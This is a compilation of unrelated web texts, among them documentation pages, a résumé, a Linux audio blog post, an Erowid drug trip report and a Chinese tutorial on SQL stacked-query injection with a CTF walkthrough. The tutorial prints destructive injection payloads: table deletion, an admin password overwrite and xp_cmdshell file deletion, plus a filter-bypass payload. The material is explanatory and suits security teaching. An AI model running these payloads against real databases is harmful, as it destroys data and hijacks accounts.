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Thank you for your first contribution to our Knowledge Base in your language! You can consider yourself an Open Web rockstar on the rise. :-) Your contribution will now undergo review by our awesome community members and should be published soon.
SUMO has millions of visitors each month and more than 60% of them view pages in languages other than English. You may think that you translated just one page, but for all the users who speak your language it makes a huge difference.
Team up
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Stay in touch
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Keep rocking
So, now that you know how easy it is to improve our community-powered support wiki in your language, why not localize another article ?
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This tool uses Information Visualization Techniques to represent data recovered from Git Repositories.


Table of Contents
Introduction
Concepts
Features
Read input data from IN Cell Analyzer 1000 xls files
Read plate configuration
Analyse data
Visualise data
Plate heatmap
Simple heatmap
Add ranking
Usage scenarios
Initial steps
Data visualisation
Hits by rank
Hits by cut-off points
Hits by interquartile ranges
Clustering
Export data/hits
Compare with other experiments
References
Acknowledgement


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ASCII, ISO−8859−{1,2,3,4,5,7,9,10,13,14,15,16}, KOI8−R, KOI8−U, KOI8−RU, CP{1250,1251,1252,1253,1254,1257}, CP{850,866,1131}, Mac{Roman,CentralEurope,Iceland,Croatian,Romania}, Mac{Cyrillic,Ukraine,Greek,Turkish}, Macintosh |
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Load data directly into HTFS (File system) and use map-reduce to extract the data out of JSON in more horizontal format
accel _x _y _z Gyro _x _y _z values for each axis mapped to relation DB
Machine Learning platform
Used several open source tools such as Apache Hadoop, Apache Hive and Python frameworks SciPy/Numpy/scikit-learn.
Data Preperation and Profiling
Munge the data and get ready
Build Quality Rules (Garbage in , Garbage out)
remove or transform nulls and typify data, UTF8 and rounding
flag bad data
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Ipython Notebook
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Matplotlib
Pandas


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堆叠注入
🤒
堆查询注入
🤒
堆注入
🤒
🤔害，其实就是多语句注入，用分号。
这篇文章先翻译一个不知道从哪看来的讲堆叠注入的文章，und复现强网杯2019的一个题目
先翻译一下SQL注入网站中的一篇文章
Execute multiple statements in the same query to extend the possibilities of SQL injections.
在一个查询中执行多个语句，以扩展SQL注入的可能性。
Stacked queries provide a lot of control to the attacker. By terminating the original query and adding a new one, it will be possible to modify data and call stored procedures. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.
堆叠注入为攻击者提供了很大的控制权。用结束原始的查询添加新语句的方式，就可能对数据进行改动，或者执行程序。很多SQL注入攻击都是使用这种方式，了解他的原理对正确了解这一安全问题很重要。
In SQL, a semicolon indicates that the end of a statement has been reached and what follows is a new one. This allows executing multiple statements in the same call to the database server. Contrary to UNION attacks which are limited to SELECT statements, stacked queries can be used to execute any SQL statement or procedure. A classic attack using this technique could look like the following.
在SQL语句中，分号意味着一段语句的结束，后面是另一段新的语句，这就允许在一个请求中执行多个语句。与UNION查询攻击对SELECT的限制相反，堆叠注入可以执行任何的SQL语句和程序，一个经典的攻击利用如下。
MALICIOUS USER INPUT.
1; DELETE FROM products
//恶意用户输入
GENERATED QUERY WITH MULTIPLE STATEMENTS. THE PARAMETER PRODUCTID WAS NOT SANITIZED.
SELECT * FROM products WHERE productid=1; DELETE FROM products
//构成的恶意语句
THE PARAMETER PRODUCTID WAS NOT SANITIZED.
的意思是PRODUCTID
参数未清除。
When the query is executed, a product is returned by the first statement and all products are deleted by the second.
请求执行后，返回第一个语句查询的id为1的product
，第二步删除表中所有内容。
It is important to mention that query stacking does not work in every situation. Most of the time, this kind of attack is impossible because the API and/or database engine do not support this functionality. Insufficient rights could also explain why the attacker is unable to modify data or call some procedures.
值得一提的是堆叠注入不是在所有情况下都可以用，不支持的API或数据库就不可以用，权限不足也可能使得不能修改数据或执行程序。
Below is a list of query stacking support by the principal API and DBMS.
以下是支持堆叠注入的API或数据库。
STACKED QUERY SUPPORT.
MySQL/PHP - Not supported (supported by MySQL for other API).
SQL Server/Any API - Supported.
Oracle/Any API - Not supported.
| API and DBMS | SUPPORT |
|---|---|
| MySQL/PHP | 不支持，支持MySQL和其他API |
| SQL Server/Any API | 支持 |
| Oracle/Any API | 不支持 |
Even though we mentioned earlier that stacked queries can add any SQL statement, this injection technique is frequently limited when it comes to adding SELECTs. Both statements will be executed but software code is usually designed to handle the results returned by only one query. Consequently, the injected SELECT query will often generate an error or its results will simply be ignored. For this reason it is recommended to use UNION attacks when trying to extract data.
尽管我们前面说过堆叠注入可以添加任意的SQL语句，但是对于添加SELECT
的语句时，这种注入方式经常受限。虽然两条语句都可以执行，但是程序通常只返回一个语句的查询数据，注入SELECT
语句经常会出错或者结果被忽略，因此建议使用UNION
注入提取数据。
One last thing needs to be mentionned: to inject a valid SQL segment, the attacker will need to know some basic information such as table names, column names, etc. For more information refer to the section dedicated to information gathering.
最后需要提醒的是注入SQL时，攻击者需要知道一些基本的信息，比如数据表名、数据库列名之类的。更多的信息，参照信息收集的部分。
The example presented at the beginning of the article demonstrates how query stacking can be used to delete information from the database. Instead of destroying data, attackers usually try to steal it or grant themselves high privileges on the system. A frequent approach is to change the administrator’s password. The example below illustrates a classic data modification using SQL injection.
文章前面的例子展示了堆叠注入可以删除数据库信息，比起这个，攻击者通常会尝试窃取数据，或者提升自己的系统权限。一个常规操作就是修改系统管理员的密码，下面的例子将演示一个经典的SQL注入修改操作。
USER INPUT.
1; UPDATE members SET password='pwd' WHERE username='admin'
//用户恶意输入
GENERATED QUERY.
SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'
//构成的恶意语句
Calling a procedure can bring SQL injections attacks to a whole new level. Nowadays, many database management systems come with built in packages of functions and procedures to simplify development and provide new functionalities. Therefore, it becomes possible to communicate with network, control the operating system and do even more from a simple SQL statement.
执行程序可以把SQL注入攻击提高一个档次。如今很多数据库管理系统会将方法和过程打包，以简化开发，提供新功能，因此就可能与互联网交互，通过简单的SQL语句控制操作系统或者更深入。
As there is no convention between DBMS regarding to packages and procedures name, the attacker will have to identify which database system is used before trying to call a built-in procedure. From there, the principle is the same as examples presented earlier except that the injected query is a stored procedure call. Let see how it can be done with the use of xp_shellcmd; a SQL Server’s specific command which allows executing operating system calls.
由于数据库的包和过程名没有关联，因此在执行程序前攻击者必须确定被攻击数据库的种类。这个原理和之前提到的例子中的需要确定表名等信息一样，只不过查询语句是执行存储的程序。xp_shellcmd
是一个SQL Server
的特殊语句，可以执行操作系统程序，来看一下执行程序是怎么做到的。
USER INPUT.
1; exec master..xp_cmdshell 'DEL important_file.txt'
//用户恶意输入
GENERATED QUERY.
SELECT * FROM products WHERE categoryid=1; exec master..xp_cmdshell 'DEL important_file.txt'
//构成的恶意语句
The query above will return a product list and delete “important_file.txt”. A much more complex attack could have been launched to take control over the operating system, but this is outside the scope of this article. The injected statement is not limited to built-in packages; a user-defined procedure could also be called. This approach is not frequent but it could be useful in some specific cases.
以上查询会返回categoryid=1
的产品列表，并删除important_file.txt
，更复杂的攻击可能会获得操作系统的控制，但是这超出了这篇文章的范围。注入语句也不限于内置的包，用户自定义的程序也可能被利用执行，这个攻击方法不是很普适但在某些特殊情况下是有用的。
一个例子来自强网杯2019，复现环境，clone
放到ubuntu
里，启动docker
输入一个小小的单引号
报错了，说明可能存在SQL注入漏洞
1' or '1'='1 #
返回了一些数据，说明存在SQL注入漏洞无疑
1' order by 3 #
返回错误
1' order by 2 #
返回正确，可以判断该表有两列
1' union select 1,2 #
select
关键词被过滤了，加/**/
，替换大小写都不能绕过去。
这时尝试堆叠注入，尝试列出所有数据库：
1';show databases; #
有ctftraining
、information_schema
、mysql
、performance_schema
、supersqli
、test
6个数据库
尝试列出当前数据库的表：
1';show tables; #
有1919810931114514
、words
两个表。
尝试获取表的列名：
1';show columns from words;
1';show columns from `1919810931114514`;
接下来就要读取数据了，但是关键词都被过滤了。
看到两种解题思路，一种是把关键词分开写然后拼接，一种是将1919810931114514重命名为words，将flag改为id。感觉重命名了以后就算是修改了原本数据，所以选择拼接关键词的方法。
1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;
💁加单引号试探，有时候也可以试一下没有单引号或者括号或者双引号，原理就是尝试闭合前一个语句
💁判断列数，order by
💁select 列数，发现关键字被过滤，尝试堆叠注入
💁列出数据库名
💁列出表名
💁列出列名
💁想办法读数据，这里的操作是关键词绕过


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A rising tide lifts all boats. -- United States President, John F. Kennedy (borrowed from the New England Council)
Inspired by the proverb "A rising tide lifts all boats", we want to lift the quality of code across the whole WordPress ecosystem. Tide’s vision is to run automated quality testing for all WordPress plugins and themes and make those test results visible for both the authors and the end users of those plugins and themes. This will help improve the quality of code throughout the WordPress ecosystem and help WordPress site owners make better choices about plugins and themes.
The Tide project is an official component of the WordPress project and still in the early stages. Today, Tide scans all WordPress plugins and themes and provides scan results as JSON through the Tide API.
The next step is to start using the JSON output in the WordPress plugin and theme repository to show PHP compatibility information. This will help drive the adoption of the newest PHP versions as both plugin/theme authors and WordPress site owners installing those plugins and theme will be more aware of the PHP compatibility of each plugin/theme.
Progress can be followed in the WordPress meta issue tracker at https://meta.trac.wordpress.org/ticket/4309.
Tide services are responsible for the following:
In addition we are working on the meta repository of WordPress.org to handle fetching the reports generated by Tide and showing summaries of them in the WordPress.org plugin and theme directories.
You can also run your own Tide instance and do your own customized reports if you are for example a hosting company that want's to use this technology for custom testing and quality assurance.
The following diagram notes which Google Cloud Platform (GCP) components are used to represent the four Tide services, and how the themes and plugins API on WP.org connects to the Sync Server. The basic flow is that a User or an API Client will make a request to the Tide REST API, which sends back a response. The request could create messages in the queue where one or more services process them by running automated scripts and witting the results back to the API. Additionally, the Sync Server will poll the WP.org API's for new themes and plugins to add to the message queue.
Git repositories:
You can contribute to this documentation at https://github.com/wptide/docs.
Currently you can:
In the future you will be able to use Tide as a service to test your plugins or themes during development.
There are many ways to contribute to Tide. You can help us champion the adoption of the quality testing results in the WordPress project. You can also help by contributing code or documentation to Tide itself.
Please read our Contributing guide for details on the process of creating a ticket or submitting a pull request to Tide, and our Code of Conduct.
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254_pze168.py
from heapq import heappop, heappush
from collections import defaultdict
class Solution:
def maxProbability(self, n: int, edges: List[List[int]], succProb: List[float], start: int, end: int) -> float:
if start == end:
return 1
graph = defaultdict(list)
for p, (a, b) in zip(succProb, edges):
graph[a].append((b, p))
graph[b].append((a, p))
pq = [(-1.0, start)]
visited = [False] * n
visited[start] = True
while len(pq) > 0:
p, i = heappop(pq)
if i == end:
return -p
visited[i] = True
for j, edge_p in graph[i]:
if visited[j] or edge_p == 0:
continue
heappush(pq, (p * edge_p, j))
return 0


--- title: Citations for Calibration Curves author: Drew Tyre date: '2019-01-22' slug: citations-for-calibration-curves categories: - Research tags_include: - simulation - models - testing ---
I now regularly test models using cross validation. I use a “calibration curve” to see whether the predictions from independent data fit the observed data. What I don’t have is a good citation for why this should be so. It’s a bit like asking for a citation for breathing. Of course, the expected values are \(\beta_0 = 0\) and \(\beta_1 = 1\)!
But, I need to find a citation. In my brief search so far I found David Cox (1958) wrote about this hypothesis for a binary regression model. That wasn’t in the context of cross validation however. A brief look at Web of Science indicates that papers in clinical sciences are still citing it when they test models, so maybe that’s good enough?
Are there any other ideas out there?


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12:30am- My friend and I each bump 20mg in the parking lot of the hotel we're staying at in. We end up chilling on the small wooden boardwalk outside of our room.
12:45am- I notice that the drip from having bumped the stuff has a nasty acidic taste to it and it burns the back of my throat for about 20 minutes when another friend of ours bumps his. I feel light headed but notice advanced sensory perception.
1:30am- Kid who took his dose last begins to trip within minutes of snorting it and I think his dose may have been a little bit higher by default. All three of us have a clear view of sand dunes and the beach from this boardwalk and the fence in front of us is swaying like grass in the wind even though the air is still.
2:30am- We sit and smoke cigarettes and I feel very euphoric and alert and I begin to see pale colors projected over everything. I notice that the street lamps appear to emit a pulse of amber light every other minute, then white light the next. I canít tell if this is really happening or just the drug. I am absolutely entranced by shadows cast by palm trees on the ground around me but they donít appear surreal, just captivating.
3:30am- I have a few Smirnoff twists and feel a little drunk in addition to having a light body high. The lights are still pulsing and my friend keeps seeing things running in the sand behind me which makes me really anxious. Itís senior week and there are drunk kids walking past us all the time and Iím very afraid that one of them will be a cop. We move inside.
4:30am- We roll a blunt to smoke between 2 of us and I get really high. Putting on one of my favorite cds makes me uncomfortable because it sounds different than I had remembered it so I must have been having some sort of auditory hallucinations. Iím still having light oev and a sense that everything is still not completely normal.
6:30am- I finally begin to feel tired after watching the sunrise and I notice that I do not feel any effects of the trip any longer. Lying down to sleep I decided that the trip was not as intense as I would have liked it to be but that overall it was a very happy and safe trip. Besides the acidic drip and paranoia the drug seemed to have no other side effects and was very enjoyable.
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Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Developed technical solutions and features for an ecommerce marketplace built with microservices using Node.js, MongoDB, AWS ECS.
Collaborated with a data team to build a scalable, realtime pipeline that aggregates data from different sources to Salesforce using Python, PubSub, Kubernetes
, in order to deliver time-sensitive, targeted information to sales reps, leading to increases in revenue.
Led the development of promotions, referrals and payment flows leading to an increase in new buyer signups.
Reduced code complexity by making architecture upgrades to a tangled, legacy microservices approach using a GraphQL gateway.
Recruited and mentored co-ops through onboarding sessions, weekly 1-1s and code reviews.
Software Engineering Intern | Amazon (A9.com)
May 2017 - Aug 2017
Worked on the core infrastructure of the Advertising Data Platform, that handles tens of PBs of data monthly.
Reduced data storage costs by modifying open source Hadoop code to integrate with an internal Amazon service, allowing analysts to create Hive jobs and write distributed queries on encrypted data stored in AWS S3.
Performed benchmark tests with Hive, querying terabytes of data to compare performance tradeoffs at scale between HDFS and S3.
Software Development Intern | Capital One Canada
Sept 2016 - Dec 2016
Developed a reusable and highly-available infrastructure to reduce time to iterate on Data Science projects using EC2, Docker, Terraform.
Wrote a Node.js API that integrated with internal data models and services, to present Mobile Beta users with their predicted recurring monthly credit card transactions.
Distributed Systems Engineering Intern | Wave Inc.
Jan 2016 - April 2016
Developed scalable, fault-tolerant backend APIs for a cloud-based accounting product with Python and Django.
Implemented Event Sourcing by storing each database change as sequenced and immutable event for increased auditability.
Smart Vents :
(Sept 2017 - March 2018) Cloud Lead for an IoT (Internet of Things) system that lets users control individual room temperatures inside their homes using a smart vent system and a smart thermostat.
Won a $500 award for "Best IoT Project" at the Mechatronics Engineering Design Symposium.
Tech Used: Python, Node.js, AWS (IoT, EC2, S3), Heroku, MongoDB
Autonomous Mobile Robotics Labs:
(Sept 2017 - Nov 2017) Implemented path planning, mapping and localization for a small personal robot (turtlebot) as part of coursework for "Autonomous Mobile Robots".
Tech Used: C++, ROS
Personal Finance Chatbot :
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Tech Used: Python, Flask, Node.js, Express, AWS EC2, MongoDB, jQuery
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BASc in Mechatronics Engineering, Honours, Co-operative Program. Graduated with distinction.
Coursework: Algorithms and Data Structures, Statistical Analysis, Pattern Recognition, Design and Analysis of Algorithms


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Former Trump adviser Roger Stone claimed not to have advance warning of the WikiLeaks release of John Podestas, but also told NBC News, “I have back-channel communications with WikiLeaks” because he and founder Julian Assange have a “mutual friend.”
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| 991 | (A) | thus laughte he his lefe at his lordis ałłe |
| 996 | (C) | ¶ Thenne taketħ he his leue . at his lordes alle |
| 978 | (D) | ¶ Thus lacchid þe kyng leve at his ledis ałł |
| 958 | (E) | ¶ Tho took waspasyan . leue of his lordes |
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| 1016 | (L) | þus laccheþ his leeue at his ledes alle |
| 931 | (P) | So laches he leue at his ledes ałł |
| 969 | (U) | Thus latches the kyng leue / at his lordes alle |
| 56 | (V) | Thus laughten he leve · at his ledes ałł |


Tools to read, write, create, and manipulate DESCRIPTION files.
It is intended for packages that create or manipulate other packages.
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1.2.0 |
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R (≥ 3.1.0) |
| Imports: |
assertthat, utils, R6, crayon, rprojroot |
| Suggests: |
covr, testthat, whoami, withr |
| Published: |
2018-05-01 |
| Author: |
Gábor Csárdi [aut, cre],
Kirill Müller [aut],
Jim Hester [aut] |
| Maintainer: |
Gábor Csárdi <csardi.gabor at gmail.com> |
| BugReports: |
https://github.com/r-lib/desc/issues |
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MIT + file LICENSE |
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https://github.com/r-lib/desc#readme |
| NeedsCompilation: |
no |
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README NEWS |
| CRAN checks: |
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The workers have been on strike for 85 days at the plant in Pondur village of Kancheepuram district are also seeking recognition for their union and reinstatement of workers who were terminated.
“The company has terminated the service of 28 workers citing performance-related issues and suspended 56 workers for participating in the strike. No resolution has been found for the issues and we have been on strike from August,” said Murugan, president, MATE plant union. The workers shouted slogans demanding quick resolution to their issues. Police intervened and made them disperse.
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A list of the services provided by the three major cloud providers. The website is initially based on https://github.com/AwsGeek/aws-history. Much will be changed based on this original source.
This information was obtained from public web pages, mainly What's New with AWS, AWS to Azure services comparison, and About the GCP services, and Cloud Services Comparison: AWS vs. Google vs. Azure, Google Cloud for AWS Professionals, Google Cloud for Azure professionals, and Google Cloud for AWS Professionals: Big Data.
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Dgame.Graphic.Surface
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Declaration
struct
Surface
;Surface
is a wrapper for a SDL_Surface and can load and save images.Author: Randy Schuett<EMAIL_ADDRESS>-
Declaration
enum
BlendMode
: ubyte; -
Declaration
nothrow @nogc this(SDL_Surface*
srfc
);CTor
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Declaration
nothrow @nogc this(string
filename
);CTor
-
Declaration
nothrow @nogc this(uint
width
, uintheight
, ubytedepth
= 32, const Masksmasks
= Masks.init);Make a new Surface of the given
width
,height
anddepth
. -
Declaration
nothrow @nogc this(void*
memory
, uintwidth
, uintheight
, ubytedepth
= 32, const Masksmasks
= Masks.init);Make an new Surface of the given
memory
,width
,height
anddepth
. -
Declaration
const pure nothrow @nogc @property int
refCount
();Returns the current ref count / usage
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Declaration
const pure nothrow @nogc bool
isValid
();Returns if the Surface is valid. Which means that the Surface has valid data.
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Declaration
nothrow @nogc bool
loadFromFile
(stringfilename
);Load from
filename
. If any data is already stored, the data will be freed. -
Declaration
nothrow @nogc bool
loadFromMemory
(void*memory
, ushortwidth
, ushortheight
, ubytedepth
= 32, const Masksmasks
= Masks.init);Load from
memory
. -
Declaration
nothrow @nogc bool
saveToFile
(stringfilename
);Save the current pixel data to the file.
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Declaration
nothrow @nogc void
fill
(const Color4bcol
, const Rect*rect
= null);Fills a specific area of the surface with the given color. The second parameter is a pointer to the area. If it's
null
, the whole Surface is filled. -
Declaration
nothrow @nogc bool
optimizeRLE
(boolenable
);Use this function to set the RLE acceleration hint for a surface. RLE (Run-Length-Encoding) is a way of compressing data. If RLE is enabled, color key and alpha blending blits are much faster, but the surface must be locked before directly accessing the pixels.
Return Value
whether the call succeeded or not
-
Declaration
nothrow @nogc bool
lock
();Use this function to set up a surface for directly accessing the pixels.
Return Value
whether the call succeeded or not
-
Declaration
nothrow @nogc void
unlock
();Use this function to release a surface after directly accessing the pixels.
-
Declaration
const pure nothrow @nogc bool
isLocked
();Returns whether this Surface is locked or not.
-
Declaration
nothrow @nogc bool
mustLock
();Use this function to determine whether a surface must be locked for access.
-
Declaration
nothrow @nogc bool
adaptTo
(ref Surfacesrfc
);Use this function to adapt the format of another Surface to this surface.
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Declaration
nothrow @nogc bool
adaptTo
(ubytedepth
);Use this function to adapt the format of another Surface
depth
to this surface. -
Declaration
nothrow @nogc void
setColorkey
(const Color4bcol
);Set the colorkey.
-
Declaration
nothrow @nogc Color4b
getColorkey
();Returns the current colorkey, or Color4b.Black, if the Surface is invalid
-
Declaration
nothrow @nogc void
setAlphaMod
(ubytealpha
);Set the Alpha mod.
-
Declaration
nothrow @nogc ubyte
getAlphaMod
();Returns the current Alpha mod.
-
Declaration
nothrow @nogc void
setBlendMode
(BlendModemode
);Set the Blendmode.
-
Declaration
nothrow @nogc BlendMode
getBlendMode
();Returns the current Blendmode.
-
Declaration
nothrow @nogc Rect
getClipRect
();Returns the clip rect of this surface. The clip rect is the area of the surface which is drawn.
-
Declaration
nothrow @nogc void
setClipRect
(const Rectclip
);Set the
clip
rect. -
Declaration
const pure nothrow @nogc @property int
width
();Returns the
width
. -
Declaration
const pure nothrow @nogc @property int
height
();Returns the
height
. -
Declaration
inout pure nothrow @nogc @property inout(void*)
pixels
();Returns the pixel data of this surface.
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Declaration
const pure nothrow @nogc @property ubyte
bits
();Count the
bits
of this surface. Could be 32, 24, 16, 8, 0. -
Declaration
const pure nothrow @nogc @property ubyte
bytes
();Count the
bytes
of this surface. Could be 4, 3, 2, 1, 0. (countBits / 8) -
Declaration
const pure nothrow @nogc @property int
pitch
();Returns the Surface
pitch
or 0. -
Declaration
const pure nothrow @nogc Masks
getMasks
();Returns the Surface color Masks
-
Declaration
const nothrow @nogc int
getPixelAt
(intx
, inty
);Returns the pixel at the given coordinates.
-
Declaration
const nothrow @nogc int
getPixelAt
(const Vector2ipos
);Returns the pixel at the given coordinates.
-
Declaration
nothrow @nogc void
putPixelAt
(const Vector2ipos
, uintpixel
);Put a new
pixel
at the given coordinates. -
Declaration
const nothrow @nogc Color4b
getColorAt
(intx
, inty
);Returns the color on the given position, or Color4b.Black if the position is out of range.
-
Declaration
const nothrow @nogc Color4b
getColorAt
(const Vector2ipos
);Returns the color on the given position.
-
Declaration
nothrow @nogc bool
blitScaled
(ref Surfacesrfc
, const Rect*src
= null, Rect*dst
= null);Use this function to perform a fast, low quality, stretch blit between two surfaces of the same pixel format.
src
is the a pointer to a Rect structure which represents the rectangle to be copied, ornull
to copy the entire surface.dst
is a pointer to a Rect structure which represents the rectangle that is copied into.null
means, that the wholesrfc
is copied to (0|0). -
Declaration
nothrow @nogc bool
blit
(ref Surfacesrfc
, const Rect*src
= null, Rect*dst
= null);Use this function to perform a fast
blit
from the source surface to the this surface.src
is the a pointer to a Rect structure which represents the rectangle to be copied, ornull
to copy the entire surface.dst
is a pointer to a Rect structure which represents the rectangle that is copied into.null
means, that the wholesrfc
is copied to (0|0). -
Declaration
nothrow @nogc Surface
subSurface
(const Rectrect
);Returns a subsurface from this surface.
rect
represents the viewport. The subsurface is a separate Surface object.
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This is my small rant/ramble about my recent experience with Linux audio. Warning to the reader: I am not claiming there is anything of interest in the following - just getting it off my chest.
I have been a Linux user since about 2000 or so, having performed countless installs. With few exceptions–I did waver from the path from about 2005 to 2007–I have always relied on Linux for my primary home/personal computing needs.
I jumped from preferring Fedora to Debian due to the GNOME debacle, and now for many years have been relying on Debian stable + XFCE for stability, predictability, and straightforward performance without any weirdness getting in the way.
However, it still amazes me that there is always something that goes slightly awry during installation that needs to be tweaked.
In the old days, there were hairy moments with video, tweaking the X settings manually until the right combo came up. That is really terrifying when you are wondering if the system whose OS you just overwrote with Linux will ever be functional. But, ultimately, everything always worked out.
My most recent system had a persistent quirk that I was never able to fix (or never bothered to fix) that came about due to switching back and forth between NVidia and Nouveau drivers. Afterwards, during a restart I always had to manually type a couple of things that remained a minor annoyance.
I have decided to say goodbye to proprietary graphics setups entirely as a result. NVidia has always been highly disappointing with their attitude towards Linux. This time around, I bought a chip with Intel HD graphics included and have not looked back.
Anyway, on to the latest story. I was delighted to see that after assembling my latest system and installing Debian 10 (Buster), that everything booted flawlessly, the graphics ran beautifully in HD, and all seemed to be going well. Until I tried to play one of my favorite videos on YouTube.
No Sound!
Well, that was disappointing, but I thought it would not be hard to fix. First I tried some basic efforts like installing the sound control in my tool bar, but that didn’t help. I was a little worried that my motherboard audio support wasn’t working. I then guessed that part of the problem was that I had my USB microphone plugged in during the initial setup. I needed to reset the default sink. Somehow I couldn’t manage this is alsa, but I could in pulse with the command:
pactl set-default-sink ‘alsa_output.pci-0000_00_1f.3.analog-stereo’
After this, I could play .wav and .mp3 files directly from my system, but my YouTube in Firefox was still not working.
I thought it might be a codec issue with Firefox, and so installed a whole bunch of packages hoping for codec support (libffms, libmediainfo, libogmrip, ccextractor, handbrake, ffcvt, and a bunch of libav* packages with “extra” in the title). Rebooted a few times along the way too.
But still no dice!
All along this process, I had been searching online for various tips to help with this issue. Finally I found a suggestion to use pavucontrol. Although I couldn’t see or control it in the toolbar audio control, pavucontrol showed me that Firefox was muted. And unmuting was all I needed to do.
I was relieved to have a fully functional system, but I do sometimes find the Linux world really a bit wacko at times. For advanced operations and specialized packages, you can usually find a good and authoritative source of documentation and help. And it is great that you can pretty much always find a fix by tinkering with your system. But for the really low-level stuff (as used to happen with video for me, and now audio), there is nothing comprehensive to rely on, only a wilderness of Q&A’s from those having trouble in the past.
Note: Debian is great, but the audio documentation there was very vague and general. Really there should be something akin to “to set up audio on your flavor of Linux, install packages A, B, and C, and check settings x, y, and z. One can hope for the future.
In the end, it was only two small settings changes that kept me soundless, but it took a couple of hours or more to figure this out. I am still not sure why Firefox would be muted by default.
With all that said, Long live Linux! I greatly prefer having an OS that I am in control of, rather than one that controls me (MacOS, I am looking at you!).


Reid T Reynolds
Democrat
Retired
BA Economics (Bucknell U.), Ph.D. Sociology (Cornell U.)
80205
Since retiring from state government I have been an actively engaged citizen. However, this engagement has generally not consisted of "organizing, representing or advocating..." partisan organizations.
I have followed public affairs and voted consistently throughout my adult life (60 yrs). I moved to Colorado in 1980 to take the position of State Demographer in the Dept. of Local Affairs. I left this position in 1994 when I transferred to the Dept. of Health Care Policy and Financing where I worked as a statistical and budget analyst. I retired from state government in 2003. During my 23 years in state government I was not active in partisan politics. Following retirement from state government I held a number of part-time and full-time positions in the health care field. I also served on volunteer boards and became more politically active. In 2012 I did door-to-door canvasing for the Obama campaign; in 2018 I did the same for Jason Crow's campaign. I have donated modest sums to recent political campaigns.
Though I am a registered Democrat, I have not held and office with the party. Four years ago I became active in our neighborhood organization. I have served as president of the Old San Rafael (Registered) Neighborhood Organization for the past 3 years. For the last four years I have been active in the Osher Lifelong Learning Institute at the University of Denver. From 2003 to 2006 I was a member of the board of the Brain Injury Association of Colorado.
During my tenure as State Demographer I played a minor role in the post-1980 and post-1990 reapportionments of the state legislature. I believe my expertise in demography and my familiarity with the demographic, geographic and political diversity of Colorado would be an asset to the Commission. I also believe that reducing partisan considerations in creating legislative districts would enhance our representative democracy.
In my work for CO state government, various health care organizations and in my volunteer work I have striven to create consensus among people with different personalities, backgrounds and points of view (political, professional and personal). Consensus is not always possible but respectful disagreement. If chosen for the commission I will strive for consensus and when that is not possible respect both majority and minority points of view whenever possible.
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What is your favorite animal
who is your favorite teacher
What is your favorite subject
What is your favorite food
what is your level of education
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Tacos
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The time change rate of
and
is given respectively
by Eqs. (35) and (52), i.e.,
|
(54) |
|
(55) |
From Eqs. (54) and (55), we know that the energy
is conserved for motion in time independent field while
is conserved for motion in toroidal symmetrical field. For the
motion in a toroidal symmetrical equilibrium field superposed by a coherent
perturbation
with
, neither of
and
is conserved. In
this case we can construct a new conservative quantity by combining
and
. Define
|
(56) |
then it is easy to verify that
when including only
the contribution of the perturbation up to the order
.
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2014-05-19


A groundbreaking action-puzzle game about a mysterious stranger who has to escape from the cruelest prison he has ever dealt with.
You don't know who you are, you don't know where you are. The only thing you know is that you have to get out of here no matter the cost.
Explore this strange dungeon and try to find the exit, but watch out for the traps and hidden dangers. Remember, you are not alone!
Tips
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We are developping 3 open-source open source softwares
These softwares enable to collect, aggregate, consolidate and visualize information.
We also invest in digital investment. These softwares are open-source in an operational way. They are starting to be adapted to other needs of actors working the public interest. the 3 softwares can be used separately.
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Open scraper collects projects information directly on the websites.
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Solidata aggregates and consolidates projects information.
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Apiviz is where to visualise information thanks to a search engine, a map and data visualisation tools.
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TokTok est un microservice d'authentification.
Open Scraper
To collect data on websites
Features
- Collect data published on websites
- Turn disparate data into homogenous ones
- Open data and control the degree of their sharing (from private data to open data)
Solidata
To aggregate and consolidate data
Features
- Aggregate data coming from diverse files and sources
- Enrich data thanks to external open data : geolocalisation, administrative data, …
- Open data and control the degree of their sharing (from private data to open data)
Apiviz
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Not the freshest of links but useful if you use TFS.
and
www.scrumforteamsystem.com that provides similar functionality to the eScrum tool I talked about before.


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Red9_Setup¶
This is the main startup module tha controls all aspects of the boot for both StudioPack and much of ProPack
email<EMAIL_ADDRESS>Red9 blog : http://red9-consultancy.blogspot.co.uk/ MarkJ blog: http://markj3d.blogspot.co.uk ——————————————
This is the heart of the Red9 StudioPack’s boot sequence, managing folder structures, dependencies and menuItems.
######### THIS SHOULD NOT REQUIRE ANY OF THE RED9.core modules ##########
Main Functions
maya_QT_mainWindow () |
return the main “MayaWindow” QT widget |
maya_QT_QApplication () |
return the QApplication instance of Maya |
maya_appplication_size () |
return the current Maya QT Application screen sizes |
maya_screen_mapping () |
return the maya applications screen size mapping data. |
mayaVersion () |
get the application version back, this doesn’t track service packs or extensions TODO: need to manage this better and use the API version, eg: 2013.5 returns 2013 |
mayaInstallDir () |
This is more for future reference, we read the key from the win registry and return the MAYA_INSTALL_LOCATION |
mayaPrefs () |
Root of Maya prefs folder |
mayaUpAxis ([setAxis]) |
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getCurrentFPS ([return_full_map]) |
returns the current frames per second as a number, rather than a useless string |
addScriptsPath (path) |
Add additional folders to the ScriptPath |
addIconsPath ([path]) |
Make sure the icons path has been added. |
addPythonPackages () |
Add the packages folder which is where any external modules will be stored |
sourceMelFolderContents (path) |
source all mel files in a given folder |
load_shelf (shelf_path) |
load Maya shelf :param shelf_path: string: file path to maya shelf |
start ([Menu, MayaUIHooks, MayaOverloads, …]) |
Main entry point for the StudioPack :param Menu: Add the Red9 Menu to the Maya Main Menus :param MayUIHooks: Add the Red9 hooks to Maya Native UI’s :param MayaOverloads: run the Maya native script hacks for Red9 - integrates into native Maya ui’s |
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installedVersion
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get_language_maps
()¶
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set_language
(language='language_english', *args)¶
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mayaIsBatch
()¶
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mayaFullSpecs
()¶
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maya_QT_mainWindow
()¶ return the main “MayaWindow” QT widget
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maya_QT_QApplication
()¶ return the QApplication instance of Maya
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maya_appplication_size
()¶ return the current Maya QT Application screen sizes
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maya_screen_mapping
()¶ return the maya applications screen size mapping data. If we’re running in 4k, the screen width, the screen height, as well as the dot / pixels per inch (ppi) used by some of the ui scaling code
full 4k 150% scaling : (True, 3840, 2097, 144.0dpi) full 4k 100% scaling : (True, 3840, 2097, 96.0dpi)
return: (bool(is4k), width, height, dpi)
- ..note::
- actual dpi return is only supported in PySide2 (2017 onwards)
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maya_dpi_scaling_factor
